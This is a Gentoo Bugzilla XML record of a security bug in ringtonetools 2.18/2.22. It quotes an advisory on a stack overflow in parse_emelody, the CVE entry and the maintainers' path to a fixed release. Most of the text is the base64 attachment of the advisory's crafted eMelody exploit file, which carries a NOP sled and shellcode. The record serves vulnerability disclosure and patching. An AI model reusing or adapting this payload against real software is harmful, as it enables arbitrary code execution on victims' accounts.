<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "http://bugs.gentoo.org/bugzilla.dtd">

<bugzilla version="2.22.7"
          urlbase="http://bugs.gentoo.org/"
          maintainer="bugzilla@gentoo.org"
>

    <bug>
          <bug_id>74700</bug_id>
          
          <creation_ts>2004-12-16 15:29 0000</creation_ts>
          <short_desc>app-misc/ringtonetools-2.18: parse_emelody overflows song buffer</short_desc>
          <delta_ts>2005-03-15 07:34:43 0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Gentoo Security</product>
          <component>Vulnerabilities</component>
          <version>unspecified</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          <status_whiteboard>B2 [glsa] koon</status_whiteboard>
          
          <priority>P2</priority>
          <bug_severity>normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>sascha-gentoo-bugzilla@silbe.org</reporter>
          <assigned_to>security@gentoo.org</assigned_to>
          

      

      
          <long_desc isprivate="0">
            <who>sascha-gentoo-bugzilla@silbe.org</who>
            <bug_when>2004-12-16 15:29:39 0000</bug_when>
            <thetext>The following advisory from securesoftware@list.cr.yp.to is for ringtonetools 2.22, but I was able to get app-misc/ringtonetools-2.18 to SegFault using the given exploit, so it&apos;s probably vulnerable.

Date: 15 Dec 2004 08:22:15 -0000
From: &quot;D. J. Bernstein&quot; &lt;djb@cr.yp.to&gt;
Subject: [remote] [control] ringtonetools 2.22 parse_emelody overflows song buffer
To: securesoftware@list.cr.yp.to, mike@mikekohn.net
X-HELOcheck: OK: FQDN
Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm
Mail-Followup-To: securesoftware@list.cr.yp.to, mike@mikekohn.net
Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html.

[-- Attachment #1 --]
[-- Type: text/plain, Encoding: 7bit, Size: 1.4K --]

Qiao Zhang, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in ringtonetools. I&apos;m
publishing this notice, but all the discovery credits should be assigned
to Zhang.

You are at risk if you take an eMelody file from an email message (or a
web page or any other source that could be controlled by an attacker)
and feed that file through ringtonetools. Whoever provides that file
then has complete control over your account: she can read and modify
your files, watch the programs you&apos;re running, etc.

The ringtonetools documentation does not tell users to avoid taking
input from the network. In fact, the documentation explicitly suggests
downloading eMelody files from the web.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://downloads.mikekohn.net/ringtonetools/ringtonetools-2.22.tar.gz
   gunzip &lt; ringtonetools-2.22.tar.gz | tar -xf -
   cd ringtonetools-2.22
   make

to download and compile the ringtonetools program, version 2.22
(current). Then save the file 31.emelody attached to this message, and
type

   ./ringtonetools 31.emelody

with the unauthorized result that a file named EXPLOITED is created in
the current directory.

Here&apos;s the bug: In parse_emelody.c, parse_emelody() reads any amount of
input into a 1024-byte song[] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>sascha-gentoo-bugzilla@silbe.org</who>
            <bug_when>2004-12-16 15:30:15 0000</bug_when>
            <thetext>Created an attachment (id=46175)
File 31.emelody from advisory
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>koon@gentoo.org</who>
            <bug_when>2004-12-21 07:02:09 0000</bug_when>
            <thetext>======================================================
Candidate: CAN-2004-1292
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1292
Reference: MISC:http://tigger.uic.edu/~jlongs2/holes/ringtonetools.txt

Buffer overflow in the parse_emelody function in parse_emelody.c for
ringtonetools 2.22 allows remote attackers to execute arbitrary code
via a crafted eMelody file.
======================================================</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>koon@gentoo.org</who>
            <bug_when>2004-12-30 01:55:03 0000</bug_when>
            <thetext>Upstream acks but won&apos;t fix it, he does consider this is a flaw in operating system design (allowing a cmdline tool to do nasty things) and not in his code.

If this can only be used safely on RBAC systems I think we should mask it prior to removal.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>koon@gentoo.org</who>
            <bug_when>2004-12-30 08:42:32 0000</bug_when>
            <thetext>Security Masked, no MaskGLSA</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2005-02-13 05:41:16 0000</bug_when>
            <thetext>No maintainer has stepped up. Perhaps we should consider dropping the package?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lewk@gentoo.org</who>
            <bug_when>2005-03-11 21:51:30 0000</bug_when>
            <thetext>It looks like this issue is fixed in 2.23 (i haven&apos;t tested it though, but the code looks fixed).

Can we get someone to bump/unmask this ?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lewk@gentoo.org</who>
            <bug_when>2005-03-14 18:28:14 0000</bug_when>
            <thetext> 13 Mar 2005; Chris White &lt;chriswhite@gentoo.org&gt;
 +ringtonetools-2.23.ebuild:
 Fixed security bug #74700.  Marked ppc and x86 stable.


Thanks Chris.  This one looks ready for GLSA.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lewk@gentoo.org</who>
            <bug_when>2005-03-15 07:34:43 0000</bug_when>
            <thetext>GLSA 200503-18</thetext>
          </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>46175</attachid>
            <date>2004-12-16 15:30 0000</date>
            <desc>File 31.emelody from advisory</desc>
            <filename>bug74700-31.emelody</filename>
            <type>application/octet-stream</type>
            <data encoding="base64">eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eFD3
v79Q97+/4E4RKDhPESiQkJCQKO6/v5CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkOslWTHAQEBAweAHULgSNFYCwegYweAIUFExwLAF
UM2AMcBQQFDNgOjW////RVhQTE9JVEVE
</data>        

          </attachment>
    </bug>

</bugzilla>